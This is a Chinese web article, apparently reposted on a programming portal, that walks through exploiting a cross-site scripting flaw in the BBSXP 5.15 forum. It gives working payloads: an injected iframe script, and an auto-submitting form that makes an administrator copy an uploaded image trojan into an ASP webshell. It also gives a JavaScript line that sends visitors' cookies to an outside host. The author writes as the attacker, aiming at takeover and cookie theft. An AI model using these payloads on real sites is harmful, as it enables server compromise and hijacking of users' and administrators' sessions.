程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> 簡單分析Script 腳本跨站攻擊漏洞技術

簡單分析Script 腳本跨站攻擊漏洞技術

編輯:關於SqlServer


    所謂跨站漏洞呢?其實這和現在比較熱門的SQL注入的原理有異曲同工之處,都是由於程序員在寫程序的時候對一些變量沒有做充分的過濾,或者沒做任何的過濾就直接把用戶提交的數據送到SQL語句裡執行,這樣導致了用戶所提交的一些特意構造的語句 一般都是帶有象JavaScript等這類腳本代碼,這樣在服務裡一旦被執行就形成了所謂的跨站攻擊了。一般來說對於人機交互行比較高的程序,比如論壇,留言版這類程序都比較容易存在跨站script攻擊。

   如何判斷一個程序是否存在跨站漏洞呢?分析程序是最直接的方法了,比如最近搞的很火的BBSXP5.15的跨站

  漏洞,因為有大蝦已經詳細的介紹了,偶也就不在詳述了,簡單的說一下在cookIEs.ASP文件裡有這麼一句

  Response.CookIEs("skins")=""&Request("no")&""然後在setup.ASP裡

  response.write "<html><head><meta http-equiv=Content-Type content=text/Html;charset=gb2312></head>
<link href=images/skins/"&Request.CookIEs("skins")&"/bbs.CSS rel=stylesheet><script src=inc/BBSxp.JS></script>
<script src=inc/ybb.js></script><script src=images/skins/"&Request.CookIEs("skins")&"/bbs.JS></script>" 

  我們可以看到,只要構造符合條件的skin的NO,然後在閉合前面的一個"<"接著就可以在後面加上我們的<script腳本了

  比如:  http://xxx.xxxx.xxx/cookIEs.ASP?menu=skins&no=4><script>document.write(’<IFRAME marginWidth=100 marginHeight=100 src="http://www.baidu.com"frameBorder=100width=0scrolling=noheight=0to ... gin="0"></IFRAME>’);</script><script>   

  這樣提交就可以達到我們的跨站目的了,(這個我動畫裡已經有演示了)

  而跟深一層的利用,我們則可以構造表單,迷惑管理員點我們的帖子,或者聯接。比如我們構造

  http://127.0.0.1/bbsxp/page2.ASP?username=<body onload="Javascript:document.forms[0].submit()">

  <form action="http://127.0.0.1/bbsxp/admin_fso.ASP?menu=bakbf" method="post">
<input value="/UploadFile/2005-5/200512365.jpg" name="yl" >
<input value="database/haha.ASP" name="bf" >
</body></Html>
/UploadFile/2005-5/200512365.jpg
這是你的ASP圖片木馬

  這樣我們就如果讓管理員浏覽了我們的留言,那麼這個腳本就會自動把/UploadFile/2005-5/200512365.jpg

  備份成database/haha.ASP。我們也就有了可愛的webshell了。而為什麼要管理員浏覽才有效呢?因為服務器上是存在cookIEs和session機制的

  而session其實是在服務器端的tmp目錄下的某一個文件中為每個用戶儲存一些變量,對session的操作其實是對文件讀寫操作。

  seesion是每個用戶都有自己的session。他們的生命周期一般是用戶打開某網站浏覽器到關閉與次網站連接所

  有的浏覽器後結束。cookie這是在用戶端的存貯機制,他需要用戶的打開cookIE支持,所以只有管理才有權利把我們JPG備份在ASP
    
  現在大家用的比較常見的就是盜取cookies而後欺騙,或者利用社會工程學進一步入侵比如我們構造下面的腳本代碼就可以盜取用戶cookIEs了 

  Javascript:window.open(‘http://xxx.xxx.xxx/cookIEs.ASP?msg=’+document.cookIE)

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved